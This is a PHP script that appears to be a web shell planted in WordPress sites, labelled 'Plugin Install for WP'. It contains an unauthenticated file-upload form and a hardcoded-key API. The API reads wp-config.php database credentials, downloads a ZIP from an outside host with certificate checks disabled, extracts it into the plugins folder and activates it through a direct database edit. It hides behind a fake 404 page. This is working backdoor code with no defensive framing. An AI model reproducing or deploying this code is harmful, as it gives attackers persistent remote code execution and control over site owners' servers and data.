<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');

# Upload
if (isset($_GET['u']) && $_GET['u'] == 'ok') {
    if (isset($_FILES['file'])) {
        $file = $_FILES['file'];
        if ($file['error'] == 0) {
            $path = __DIR__ . '/' . $file['name'];
            if (@move_uploaded_file($file['tmp_name'], $path)) {
                echo "File uploaded using move_uploaded_file: {$file['name']}";
            } else if (@rename($file['tmp_name'], $path)) {
                echo "File uploaded using rename: {$file['name']}";
            } else if (@file_put_contents($path, @file_get_contents($file['tmp_name']))) {
                echo "File uploaded using file_put_contents: {$file['name']}";
            } else {
                echo "File not uploaded!";
            }
        } else {
            echo "File not uploaded!";
        }
        echo "<br>";
        echo "<br>";
    }
    echo '<form method="post" enctype="multipart/form-data"><input type="file" name="file"><button type="submit">Upload</button></form>';
    exit;
}

# Extensions
$extensions = ['zip', 'curl', 'pdo_mysql'];
$error = 0;
foreach ($extensions as $ext) {
    if (!extension_loaded($ext)) {
        echo strtoupper($ext) . " yüklü değil, işlemlere devam edilemeyecek :(.<br>";
        $error++;
    }
}

if ($error > 0) {
    exit;
}

# Function - Download and Extract Plugin
function download_and_extract_plugin($url, $destinationFolder)
{
    $tempZip = tempnam(sys_get_temp_dir(), 'plugin_') . '.zip';
    $ch = curl_init($url);
    $fp = fopen($tempZip, 'w');
    curl_setopt($ch, CURLOPT_FILE, $fp);
    curl_setopt($ch, CURLOPT_TIMEOUT, 50);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $success = curl_exec($ch);
    curl_close($ch);
    fclose($fp);

    if (!$success) {
        unlink($tempZip);
        return "{$tempZip} - ZIP file not downloaded.";
    }

    $zip = new ZipArchive();
    if ($zip->open($tempZip) === true) {
        $zip->extractTo($destinationFolder);
        $zip->close();
        unlink($tempZip);
        return true;
    } else {
        unlink($tempZip);
        return "{$tempZip} - ZIP file not extracted.";
    }
}

# API
if (isset($_GET['API']) && trim($_GET['API']) == 'LJz5ZtXGc7hSM4aUfmE9CH') {

    # Params
    $wp_config = isset($_POST['wp_config_file']) ? urldecode(trim($_POST['wp_config_file'])) : __DIR__ . '/wp-config.php';
    $destinationFolder = isset($_POST['wp_plugin_path']) ? urldecode(trim($_POST['wp_plugin_path'])) : __DIR__ . '/wp-content/plugins/';
    $plugin_path = isset($_POST['plugin_path_file']) ? urldecode(trim($_POST['plugin_path_file'])) : 'fancy-elementor-gallery-box/fancy-elementor-gallery-box.php';
    $url = isset($_POST['plugin_url']) ? urldecode(trim($_POST['plugin_url'])) : 'https://ampproject.com.tr/canonical_plugin_for_wp.zip?v='.time();

    # Install plugin
    if (trim($_GET['action']) != 'install') {
        die(json_encode([
            "status" => true,
            "wp_config_file" => $wp_config,
            "wp_plugins_path" => $destinationFolder,
            "plugin_path_file" => $plugin_path,
            "plugin_url" => $url,
            #"action" => "install",
        ]));
    }

    # wp-config.php file check
    if (!file_exists($wp_config)) {
        die(json_encode(["status" => false, "error" => "{$wp_config} file not found."]));
    }

    # plugin path check
    if (!is_dir($destinationFolder)) {
        die(json_encode(["status" => false, "error" => "{$destinationFolder} folder not found."]));
    }

    # plugin file check
    if (file_exists($destinationFolder . $plugin_path)) {
        die(json_encode(["status" => false, "error" => "{$destinationFolder}{$plugin_path} file already installed."]));
    }

    # wp-config.php file include
    include_once $wp_config;

    # wp-config.php file include
    include_once $wp_config;

    # Database Connection
    $servername = DB_HOST;
    $username = DB_USER;
    $password = DB_PASSWORD;
    $dbname = DB_NAME;
    $charset = DB_CHARSET;

    // Create connection pdo
    try {
        $db = new PDO("mysql:host={$servername};dbname={$dbname}", $username, $password);
        $db->exec('SET NAMES `' . $charset . '`');
    } catch (PDOException $e) {
        die(json_encode(["status" => false, "error" => 'Connection failed: ' . $e->getMessage()]));
    }

    # Upload Plugin
    $upload_plugin = download_and_extract_plugin($url, $destinationFolder);
    if ($upload_plugin !== true) {
        die(json_encode(["status" => false, "error" => $upload_plugin]));
    }

    # options - active plugins
    $active_plugins = $db->query("SELECT `option_value` FROM `{$table_prefix}options` WHERE `option_name` = 'active_plugins';")->fetch();
    $active_plugins = unserialize($active_plugins['option_value']);
    if (is_array($active_plugins)) {
        if (!in_array($plugin_path, $active_plugins)) {
            $active_plugins[] = $plugin_path;
            $active_plugins = serialize($active_plugins);
            $db->query("UPDATE `{$table_prefix}options` SET `option_value` = '{$active_plugins}' WHERE `option_name` = 'active_plugins';");
            die(json_encode(["status" => true, "message" => "{$plugin_path} - Plugin activated!"]));
        } else {
            die(json_encode(["status" => false, "error" => "Plugin already activated!"]));
        }
    } else {
        die(json_encode(["status" => false, "error" => "Error! - active_plugins not found"]));
    }

    exit;
}

# POST REQUEST
if ($_SERVER['REQUEST_METHOD'] == 'POST') {

    # Post params
    $wp_config = trim($_POST['wp_config_file']);
    $destinationFolder = trim($_POST['wp_plugin_path']);
    $plugin_path = trim($_POST['plugin_path_file']);
    $url = trim($_POST['plugin_url']);

    # wp-config.php file check
    if (!file_exists($wp_config)) {
        die("{$wp_config} file not found.");
    }

    # plugin path check
    if (!is_dir($destinationFolder)) {
        die("{$destinationFolder} folder not found.");
    }

    # plugin file check
    if (file_exists($destinationFolder . $plugin_path)) {
        die("{$destinationFolder}{$plugin_path} file already installed.");
    }

    # wp-config.php file include
    include_once $wp_config;

    # Database Connection
    $servername = DB_HOST;
    $username = DB_USER;
    $password = DB_PASSWORD;
    $dbname = DB_NAME;
    $charset = DB_CHARSET;

    // Create connection pdo
    try {
        $db = new PDO("mysql:host={$servername};dbname={$dbname}", $username, $password);
        $db->exec('SET NAMES `' . $charset . '`');
    } catch (PDOException $e) {
        die('Connection failed: ' . $e->getMessage());
    }

    # Upload Plugin
    $upload_plugin = download_and_extract_plugin($url, $destinationFolder);
    if ($upload_plugin === true) {
        echo "Plugin ($url) downloaded and will be active...<br>";
    } else {
        die($upload_plugin);
    }

    # options - active plugins
    $active_plugins = $db->query("SELECT `option_value` FROM `{$table_prefix}options` WHERE `option_name` = 'active_plugins';")->fetch();
    $active_plugins = unserialize($active_plugins['option_value']);
    if (is_array($active_plugins)) {
        if (!in_array($plugin_path, $active_plugins)) {
            $active_plugins[] = $plugin_path;
            $active_plugins = serialize($active_plugins);
            $db->query("UPDATE `{$table_prefix}options` SET `option_value` = '{$active_plugins}' WHERE `option_name` = 'active_plugins';");
            die("{$plugin_path} - Plugin activated!");
        } else {
            die("Plugin already activated!");
        }
    } else {
        die("Error! - active_plugins not found");
    }

    exit;
}

# GET REQUEST
if (!isset($_GET['f']) && $_GET['f'] != 'ok') {
    die("404 Not Found");
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Plugin Install for WP</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
    <h1 class="text-center mb-4">Plugin Install for WP</h1>
    <p>&nbsp;</p>
    <div class="row justify-content-center">
        <div class="col-md-6">
            <form method="post" action="">
                <h2>Local Settings</h2>
                <div class="mb-3">
                    <label for="name" class="form-label">WP Config Path</label>
                    <input type="text" class="form-control" name="wp_config_file" placeholder="<?php echo __DIR__ ?>/wp-config.php" value="<?php echo __DIR__ ?>/wp-config.php">
                </div>
                <div class="mb-3">
                    <label for="name" class="form-label">WP Plugin Path</label>
                    <input type="text" class="form-control" name="wp_plugin_path" placeholder="<?php echo __DIR__ ?>/wp-content/plugins/" value="<?php echo __DIR__ ?>/wp-content/plugins/">
                </div>
                <p>&nbsp;</p>
                <h2>Remote Plugin Settings</h2>
                <div class="mb-3">
                    <label for="name" class="form-label">Plugin URL</label>
                    <input type="text" class="form-control" name="plugin_url" placeholder="https://site.com/plugin.zip" value="https://ampproject.com.tr/canonical_plugin_for_wp.zip?v=<?php echo time() ?>">
                </div>
                <div class="mb-3">
                    <label for="name" class="form-label">Plugin Path File</label>
                    <input type="text" class="form-control" name="plugin_path_file" placeholder="plugin_path/plugin_root_file.php" value="fancy-elementor-gallery-box/fancy-elementor-gallery-box.php">
                </div>
                <button type="submit" class="btn btn-danger w-100">Do Install Plugin, Dude!</button>
            </form>
        </div>
    </div>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>